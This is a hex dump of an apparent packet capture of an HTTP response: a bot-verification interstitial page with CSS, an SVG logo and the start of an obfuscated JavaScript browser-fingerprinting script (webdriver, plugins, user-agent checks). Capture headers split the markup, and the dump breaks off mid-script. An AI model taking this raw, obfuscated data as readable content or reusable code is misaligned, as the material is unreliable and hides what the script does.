74 68 3a 20 31 34 35 30 70 78 29 20 7b 0a 20 20 20 20 2e 74 68 72 6f 62 62 65 72 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 39 30 70 78 3b 0a 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 30 20 35 70 78 20 35 70 78 3b 0a 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 36 3b 0a 20 20 20 20 7d 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 33 70 78 20 73 6f 6c 69 64 20 72 67 62 28 33 38 2c 20 31 32 32 2c 20 37 32 2c 20 30 2e 38 36 29 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 31 70 78 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 7d 0a 7d 0a 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 68 72 6f 62 62 65 72 22 3e 0a 20 20 20 20 3c 73 76 67 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 22 20 77 69 64 74 68 3d 22 39 30 70 78 22 20 68 65 69 67 68 74 3d 22 39 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 37 20 34 37 22 0a 20 20 20 20 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 0a 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f 61 64 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 6f 6c 79 67 6f 6e 20 69 64 3d 22 70 61 74 68 2d 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 69 6e 74 73 3d 22 30 20 30 2e 33 37 35 34 38 34 31 34 36 20 30 20 31 35 2e 37 32 35 35 36 39 35 20 31 35 2e 37 30 31 33 32 34 34 20 31 35 2e 37 32 35 35 36 39 35 20 31 35 2e 37 30 31 33 32 34 34 20 30 2e 33 37 35 34 38 34 31 34 36 20 30 20 30 2e 33 37 35 34 38 34 31 34 36 22 3e 3c 2f 70 6f 6c 79 67 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 50 61 67 65 2d 31 22 20 73 74 72 6f 6b 65 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 4c 6f 67 6f 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 35 2e 30 30 30 30 30 30 2c 20 2d 32 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 47 72 6f 75 70 2d 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 35 2e 30 30 30 30 30 30 2c 20 32 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 32 2e 36 31 35 30 32 34 34 2c 34 2e 35 32 39 38 38 32 39 33 20 43 32 33 2e 31 35 33 38 30 34 39 2c 33 2e 30 36 32 35 36 35 38 35 20 32 33 2e 36 30 33 31 37 30 37 2c 31 2e 35 39 35 38 32 31 39 35 20 32 34 2e 32 33 31 39 33 39 2c 30 2e 31 35 38 38 38 32 39 32 37 20 43 32 35 2e 31 39 30 32 38 30 35 2c 32 2e 32 32 34 35 39 30 32 34 20 32 35 2e 38 31 39 30 34 38 38 2c 34 2e 34 33 39 38 39 35 31 32 20 32 36 2e 37 37 36 38 31 37 31 2c 36 2e 34 37 35 37 39 37 35 36 20 43 32 39 2e 31 34 31 37 31 39 35 2c 37 2e 34 30 33 37 36 30 39 38 20 33 31 2e 37 31 36 34 30 32 34 2c 37 2e 37 39 32 39 34 33 39 20 33 34 2e 31 31 31 36 38 32 39 2c 38 2e 36 39 31 31 30 32 34 34 20 43 32 38 2e 39 36 32 33 31 37 31 2c 31 31 2e 32 36 36 33 35 38 35 20 32 33 2e 37 32 32 39 36 33 34 2c 31 33 2e 37 35 31 30 35 33 37 20 31 38 2e 34 38 33 36 30 39 38 2c 31 36 2e 31 37 36 31 33 39 20 43 31 39 2e 37 37 30 39 35 31 32 2c 31 32 2e 32 35 34 35 30 34 39 20 32 31 2e 32 33 38 32 36 38 33 2c 38 2e 34 32 31 37 31 32 32 20 32 32 2e 36 31 35 30 32 34 34 2c 34 2e 35 32 39 38 38 32 39 33 20 4c 32 32 2e 36 31 35 30 32 34 34 2c 34 2e 35 32 39 38 38 32 39 33 20 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 00 00 b0 0d 00 00 06 00 00 00 58 00 00 00 00 00 00 00 80 50 06 00 e3 7d 91 db 36 00 00 00 36 00 00 00 52 54 00 57 7f 94 52 54 00 7b b7 92 08 00 45 00 00 28 06 e0 40 00 80 06 80 1b c0 a8 7a a8 c8 3a 70 49 c3 e2 00 50 73 04 e9 3f 7d 9b 4b 5e 50 10 20 14 73 ef 00 00 00 00 58 00 00 00 06 00 00 00 28 10 00 00 00 00 00 00 80 50 06 00 9f e5 91 db 06 10 00 00 06 10 00 00 52 54 00 7b b7 92 52 54 00 57 7f 94 08 00 45 00 0f f8 47 c9 40 00 40 06 6f 62 c8 3a 70 49 c0 a8 7a a8 00 50 c3 e2 7d 9b 4b 5e 73 04 e9 3f 50 18 00 52 83 bf 00 00 3d 22 46 69 6c 6c 2d 31 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 33 2e 37 37 31 38 35 39 38 2c 38 2e 39 34 34 36 31 35 38 35 20 43 31 36 2e 31 34 32 34 39 33 39 2c 37 2e 36 38 30 37 37 34 33 39 20 31 38 2e 34 35 30 30 37 39 33 2c 36 2e 32 38 39 36 38 39 30 32 20 32 30 2e 38 32 30 37 31 33 34 2c 35 2e 30 32 35 32 37 34 33 39 20 43 31 38 2e 39 32 34 30 39 31 35 2c 31 30 2e 38 34 31 32 33 37 38 20 31 36 2e 37 37 34 37 30 31 32 2c 31 36 2e 35 36 31 34 38 31 37 20 31 34 2e 38 34 36 35 35 34 39 2c 32 32 2e 33 37 37 34 34 35 31 20 43 31 32 2e 37 32 39 32 36 32 32 2c 31 38 2e 33 39 35 30 35 34 39 20 31 30 2e 38 39 35 36 38 39 2c 31 34 2e 32 35 34 34 36 39 35 20 38 2e 39 30 34 34 39 33 39 2c 31 30 2e 32 30 39 30 33 30 35 20 43 38 2e 32 37 32 32 38 36 35 39 2c 38 2e 38 35 30 30 34 32 36 38 20 37 2e 35 34 35 35 30 36 31 2c 37 2e 35 35 33 35 33 30 34 39 20 37 2e 30 30 38 34 34 35 31 32 2c 36 2e 31 36 33 35 39 31 34 36 20 43 39 2e 33 31 35 34 35 37 33 32 2c 36 2e 39 35 33 34 32 30 37 33 20 31 31 2e 34 36 34 38 34 37 36 2c 38 2e 32 34 39 33 35 39 37 36 20 31 33 2e 37 37 31 38 35 39 38 2c 38 2e 39 34 34 36 31 35 38 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 33 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 32 31 33 34 32 35 36 2c 31 35 2e 30 37 34 35 30 34 39 20 43 32 39 2e 34 36 30 32 33 30 35 2c 31 32 2e 34 39 36 39 35 36 31 20 33 34 2e 37 33 37 39 38 36 36 2c 39 2e 39 31 39 34 30 37 33 32 20 34 30 2e 30 31 35 37 34 32 37 2c 37 2e 34 30 33 31 38 37 38 20 43 33 39 2e 31 35 36 35 35 39 38 2c 39 2e 36 31 32 37 36 30 39 38 20 33 38 2e 31 37 34 37 31 38 33 2c 31 31 2e 37 33 30 30 35 33 37 20 33 37 2e 32 32 33 32 35 34 39 2c 31 33 2e 39 30 38 36 37 35 36 20 43 33 38 2e 34 35 30 34 31 33 34 2c 31 36 2e 32 30 39 39 35 36 31 20 33 39 2e 39 35 34 34 31 33 34 2c 31 38 2e 33 38 38 35 37 38 20 34 31 2e 30 38 39 38 36 34 36 2c 32 30 2e 37 35 31 31 38 37 38 20 43 33 35 2e 34 34 33 35 35 39 38 2c 31 38 2e 39 34 30 35 34 31 35 20 32 39 2e 38 32 38 37 37 39 33 2c 31 37 2e 30 33 38 31 38 37 38 20 32 34 2e 32 31 33 34 32 35 36 2c 31 35 2e 30 37 34 35 30 34 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 35 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 47 72 6f 75 70 2d 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 20 31 31 2e 39 31 39 36 35 39 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 61 73 6b 20 69 64 3d 22 6d 61 73 6b 2d 32 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 73 65 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 70 61 74 68 2d 31 22 3e 3c 2f 75 73 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6d 61 73 6b 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 43 6c 69 70 2d 38 22 3e 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 38 2e 33 34 38 36 39 30 32 34 2c 30 2e 33 37 35 34 38 34 31 34 36 20 43 39 2e 39 33 30 36 34 31 34 36 2c 33 2e 33 33 34 31 39 31 34 36 20 31 31 2e 32 37 38 31 36 35 39 2c 36 2e 34 33 39 36 33 30 34 39 20 31 32 2e 37 34 32 36 31 37 31 2c 39 2e 34 35 36 32 32 38 30 35 20 43 31 33 2e 37 33 38 37 38 37 38 2c 31 31 2e 35 33 36 32 36 34 36 20 31 34 2e 37 39 33 34 32 32 2c 31 33 2e 35 38 37 36 34 32 37 20 31 35 2e 37 30 31 33 32 34 34 2c 31 35 2e 37 32 35 35 36 39 35 20 43 31 30 2e 34 35 37 39 35 38 35 2c 31 33 2e 39 30 39 31 39 31 35 20 35 2e 32 31 34 30 31 39 35 31 2c 31 32 2e 30 33 34 33 35 20 2d 30 2e 30 30 30 31 31 34 36 33 34 31 34 36 2c 31 30 2e 30 37 31 38 31 33 34 20 43 32 2e 30 35 30 36 39 30 32 34 2c 39 2e 31 33 34 31 30 36 31 20 34 2e 32 31 38 34 32 31 39 35 2c 38 2e 34 38 39 38 36 32 32 20 36 2e 32 39 38 34 35 38 35 34 2c 37 2e 36 31 31 31 39 31 34 36 20 43 36 2e 39 37 31 39 33 34 31 35 2c 35 2e 31 37 39 38 30 31 32 32 20 37 2e 36 37 35 32 31 34 36 33 2c 32 2e 37 37 37 30 36 39 35 31 20 38 2e 33 34 38 36 39 30 32 34 2c 30 2e 33 37 35 34 38 34 31 34 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 37 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 73 6b 3d 22 75 72 6c 28 23 6d 61 73 6b 2d 32 29 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 39 2e 31 37 39 33 31 39 35 2c 31 38 2e 30 34 39 36 30 34 39 20 43 33 33 2e 35 36 30 30 36 33 34 2c 31 39 2e 34 36 37 30 35 36 31 20 33 37 2e 39 30 38 31 33 36 36 2c 32 31 2e 30 37 37 36 36 35 39 20 34 32 2e 32 38 38 38 38 30 35 2c 32 32 2e 35 35 39 33 31 32 32 20 43 34 33 2e 36 37 34 32 33 34 31 2c 32 33 2e 30 37 34 35 39 32 37 20 34 35 2e 31 35 35 38 38 30 35 2c 32 33 2e 34 36 30 39 30 39 38 20 34 36 2e 35 30 38 35 36 33 34 2c 32 34 2e 31 33 37 32 35 31 32 20 43 34 34 2e 32 32 31 36 31 32 32 2c 32 35 2e 30 33 39 34 32 32 20 34 31 2e 39 30 32 35 36 33 34 2c 32 35 2e 39 31 30 30 36 38 33 20 33 39 2e 36 34 37 37 30 39 38 2c 32 36 2e 38 31 31 30 39 32 37 20 43 33 38 2e 38 31 30 33 30 37 33 2c 32 39 2e 34 31 39 35 39 32 37 20 33 38 2e 32 33 30 32 35 38 35 2c 33 32 2e 31 32 36 31 30 34 39 20 33 37 2e 33 36 30 37 35 38 35 2c 33 34 2e 37 33 34 36 30 34 39 20 43 33 35 2e 35 38 39 30 38 37 38 2c 33 31 2e 34 34 39 37 36 33 34 20 33 34 2e 30 34 33 32 34 36 33 2c 32 38 2e 30 33 35 33 38 35 34 20 33 32 2e 33 36 38 34 34 31 35 2c 32 34 2e 36 38 35 32 30 32 34 20 43 33 31 2e 33 30 35 32 30 39 38 2c 32 32 2e 34 39 34 35 34 33 39 20 33 30 2e 31 34 35 36 38 35 34 2c 32 30 2e 33 30 34 34 35 38 35 20 32 39 2e 31 37 39 33 31 39 35 2c 31 38 2e 30 34 39 36 30 34 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 30 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 20 43 32 39 2e 35 37 38 39 39 31 35 2c 32 37 2e 36 39 34 37 35 20 33 30 2e 30 36 38 34 37 39 33 2c 32 36 2e 30 31 31 33 34 37 36 20 33 30 2e 37 34 31 39 35 34 39 2c 32 34 2e 33 38 38 37 30 31 32 20 43 33 31 2e 35 33 38 30 38 39 2c 32 35 2e 37 36 36 30 33 30 35 20 33 32 2e 31 38 31 31 38 36 36 2c 32 37 2e 32 33 35 36 34 30 32 20 33 32 2e 39 31 35 34 31 38 33 2c 32 38 2e 36 34 34 34 39 33 39 20 43 33 34 2e 37 32 32 30 35 32 34 2c 33 32 2e 34 37 30 39 38 31 37 20 33 36 2e 36 38 31 31 35 2c 33 36 2e 32 30 35 31 38 39 20 33 38 2e 34 35 36 38 33 32 39 2c 34 30 2e 30 33 31 36 37 36 38 20 43 33 36 2e 32 38 32 37 39 36 33 2c 33 39 2e 31 34 34 39 38 31 37 20 33 34 2e 31 34 30 32 38 34 31 2c 33 38 2e 31 36 35 34 33 32 39 20 33 31 2e 39 33 36 34 34 32 37 2c 33 37 2e 32 34 36 30 36 37 31 20 43 32 39 2e 36 34 30 33 32 30 37 2c 33 38 2e 34 37 30 39 33 32 39 20 32 37 2e 34 36 36 32 38 34 31 2c 33 39 2e 39 34 30 35 34 32 37 20 32 35 2e 31 30 39 34 30 36 31 2c 34 31 2e 31 30 33 35 30 36 31 20 43 32 36 2e 33 30 33 33 32 30 37 2c 33 37 2e 31 35 34 39 33 32 39 20 32 37 2e 37 34 31 39 37 39 33 2c 33 33 2e 32 36 37 31 31 35 39 20 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 32 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 20 43 39 2e 39 33 33 38 35 31 32 32 2c 32 37 2e 31 38 37 33 37 39 33 20 31 34 2e 37 37 33 37 30 34 39 2c 32 39 2e 30 33 36 34 32 38 20 31 39 2e 36 37 34 38 38 37 38 2c 33 30 2e 36 37 30 35 33 37 38 20 43 32 30 2e 34 31 34 38 35 31 32 2c 33 30 2e 39 31 37 30 30 31 32 20 32 31 2e 31 35 34 32 34 31 35 2c 33 31 2e 31 39 34 34 31 35 39 20 32 31 2e 38 33 32 38 37 35 36 2c 33 31 2e 35 33 33 37 33 32 39 20 43 31 36 2e 35 33 30 34 37 33 32 2c 33 33 2e 39 36 38 35 36 32 32 20 31 31 2e 33 32 31 34 39 37 36 2c 33 36 2e 36 34 39 38 35 34 39 20 35 2e 39 35 37 37 36 35 38 35 2c 33 38 2e 39 39 33 35 35 20 43 36 2e 38 32 30 39 36 30 39 38 2c 33 36 2e 38 33 35 35 36 32 32 20 37 2e 38 39 39 36 36 38 32 39 2c 33 34 2e 37 36 39 38 35 34 39 20 38 2e 37 33 31 39 31 32 32 2c 33 32 2e 35 38 31 34 38 39 20 43 37 2e 36 38 33 35 38 32 39 33 2c 33 30 2e 31 37 36 34 36 34 36 20 36 2e 31 31 31 39 34 38 37 38 2c 32 38 2e 30 31 39 30 35 20 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 34 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 35 2e 34 35 34 39 31 38 33 2c 33 35 2e 38 37 37 30 34 38 38 20 43 31 39 2e 34 36 37 31 31 33 34 2c 33 33 2e 39 33 31 37 30 37 33 20 32 33 2e 34 34 38 33 35 37 33 2c 33 31 2e 38 39 35 32 33 31 37 20 32 37 2e 34 39 31 35 30 33 37 2c 33 30 2e 30 34 33 33 31 37 31 20 43 32 36 2e 34 31 31 30 37 36 38 2c 33 33 2e 36 35 34 32 39 32 37 20 32 35 2e 30 32 32 32 38 34 31 2c 33 37 2e 32 30 33 39 33 39 20 32 33 2e 38 31 38 36 32 35 36 2c 34 30 2e 38 31 34 33 34 31 35 20 43 32 33 2e 31 30 39 30 34 30 32 2c 34 32 2e 37 32 37 35 38 35 34 20 32 32 2e 35 35 33 30 36 34 36 2c 34 34 2e 37 30 33 33 30 34 39 20 32 31 2e 37 35 31 31 39 38 38 2c 34 36 2e 35 38 35 35 39 37 36 20 43 32 30 2e 37 36 33 30 35 32 34 2c 34 34 2e 34 38 36 36 34 36 33 20 32 30 2e 30 35 33 34 36 37 31 2c 34 32 2e 32 36 35 30 33 36 36 20 31 39 2e 31 32 37 37 39 36 33 2c 34 30 2e 31 33 35 31 33 34 31 20 43 31 36 2e 36 32 37 36 32 35 36 2c 33 39 2e 32 30 39 34 36 33 34 20 31 34 2e 30 30 34 32 32 33 32 2c 33 38 2e 36 38 34 34 33 39 20 31 31 2e 34 37 33 36 37 34 34 2c 33 37 2e 39 37 34 38 35 33 37 20 43 31 32 2e 36 37 37 33 33 32 39 2c 33 37 2e 30 38 30 31 33 34 31 20 31 34 2e 31 35 38 34 30 36 31 2c 33 36 2e 35 38 36 30 36 31 20 31 35 2e 34 35 34 39 31 38 33 2c 33 35 2e 38 37 37 30 34 38 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 36 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 3c 2f 73 76 67 3e 0a 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 74 65 78 74 22 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 77 61 69 74 20 77 68 69 6c 65 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 69 73 20 62 65 69 6e 67 20 76 65 72 69 66 69 65 64 2e 2e 2e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 79 37 6c 69 78 71 78 37 64 36 63 64 22 3e 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 55 2c 73 29 7b 76 61 72 20 61 30 49 3d 7b 55 3a 30 78 31 37 65 2c 73 3a 30 78 31 36 61 2c 6d 3a 30 78 31 36 39 2c 50 3a 30 78 31 39 33 2c 44 3a 30 78 31 39 30 2c 4c 3a 30 78 31 35 65 7d 2c 4e 3d 61 30 50 2c 6d 3d 55 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 50 3d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 55 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 39 37 29 29 2f 30 78 32 00 00 28 10 00 00 06 00 00 00 c0 0b 00 00 00 00 00 00 80 50 06 00 c5 e5 91 db 9e 0b 00 00 9e 0b 00 00 52 54 00 7b b7 92 52 54 00 57 7f 94 08 00 45 00 0b 90 47 cc 40 00 40 06 73 c7 c8 3a 70 49 c0 a8 7a a8 00 50 c3 e2 7d 9b 5b 2e 73 04 e9 3f 50 18 00 52 7f 57 00 00 2a 28 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 73 29 29 2f 30 78 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 6d 29 29 2f 30 78 34 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 38 31 29 29 2f 30 78 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 50 29 29 2f 30 78 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 44 29 29 2f 30 78 37 2b 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 38 37 29 29 2f 30 78 38 2a 28 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 4c 29 29 2f 30 78 39 29 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 37 62 29 29 2f 30 78 61 2a 28 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 37 36 29 29 2f 30 78 62 29 3b 69 66 28 50 3d 3d 3d 73 29 62 72 65 61 6b 3b 65 6c 73 65 20 6d 5b 27 70 75 73 68 27 5d 28 6d 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 44 29 7b 6d 5b 27 70 75 73 68 27 5d 28 6d 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 61 30 6d 2c 30 78 35 33 30 36 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 61 30 6d 28 29 7b 76 61 72 20 65 3d 5b 27 66 6f 72 6d 27 2c 27 64 34 39 30 33 30 62 33 34 39 27 2c 27 64 6f 63 75 6d 65 6e 74 27 2c 27 65 6e 74 72 69 65 73 27 2c 27 31 36 71 76 41 42 6f 6e 27 2c 27 6c 61 6e 67 75 61 67 65 27 2c 27 74 6f 53 74 72 69 6e 67 27 2c 27 69 6e 70 75 74 27 2c 27 42 79 49 64 27 2c 27 67 65 74 45 6c 65 6d 65 6e 74 27 2c 27 61 70 70 65 6e 64 43 68 69 6c 27 2c 27 5f 5f 70 72 6f 74 6f 5f 5f 27 2c 27 6e 61 6d 65 27 2c 27 31 35 37 31 35 30 4a 62 44 43 45 59 27 2c 27 66 6f 72 45 61 63 68 27 2c 27 6f 75 74 65 72 57 69 64 74 68 27 2c 27 33 33 38 36 38 32 62 59 62 6c 48 68 27 2c 27 76 61 6c 75 65 27 2c 27 74 79 70 65 27 2c 27 64 69 73 70 6c 61 79 3a 6e 6f 27 2c 27 34 36 6c 65 48 41 57 46 27 2c 27 61 70 70 6c 79 27 2c 27 47 45 54 27 2c 27 6d 61 70 27 2c 27 32 33 36 37 35 38 35 57 73 65 58 4f 77 27 2c 27 73 75 62 6d 69 74 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 6d 69 6d 65 54 79 70 65 73 27 2c 27 6e 65 3b 27 2c 27 61 64 64 45 76 65 6e 74 4c 69 27 2c 27 73 65 61 72 63 68 27 2c 27 75 73 65 72 41 67 65 6e 74 27 2c 27 6c 65 6e 67 74 68 27 2c 27 6f 70 65 6e 27 2c 27 65 6e 74 27 2c 27 32 39 32 32 38 38 4b 5a 43 4f 6a 70 27 2c 27 36 39 38 35 35 6a 59 63 49 71 68 27 2c 27 70 6c 75 67 69 6e 73 27 2c 27 31 62 34 31 62 30 38 66 31 32 27 2c 27 28 28 28 2e 2b 29 2b 29 2b 29 27 2c 27 30 39 35 30 36 33 35 30 32 37 27 2c 27 74 65 63 68 61 6e 67 65 27 2c 27 66 69 6c 74 65 72 27 2c 27 61 74 74 61 63 68 45 76 65 6e 27 2c 27 6c 61 6e 67 75 61 67 65 73 27 2c 27 6f 6e 72 65 61 64 79 73 74 61 27 2c 27 63 72 65 61 74 65 45 6c 65 6d 27 2c 27 63 6f 6e 73 74 72 75 63 74 6f 27 2c 27 31 31 56 61 6c 50 72 4b 27 2c 27 6f 75 74 65 72 48 65 69 67 68 27 2c 27 73 74 65 6e 65 72 27 2c 27 37 66 61 33 62 37 36 37 63 34 27 2c 27 61 70 70 65 6e 64 27 2c 27 31 33 34 34 39 37 39 30 4a 50 6b 54 78 45 27 2c 27 73 65 6e 64 27 2c 27 77 65 62 64 72 69 76 65 72 27 2c 27 36 36 32 34 33 34 64 4a 66 75 69 61 27 2c 27 61 36 31 30 35 63 30 61 36 31 27 2c 27 68 69 64 64 65 6e 27 2c 27 35 4e 6c 6e 77 49 49 27 2c 27 4c 6f 61 64 65 64 27 5d 3b 61 30 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 3b 7d 3b 72 65 74 75 72 6e 20 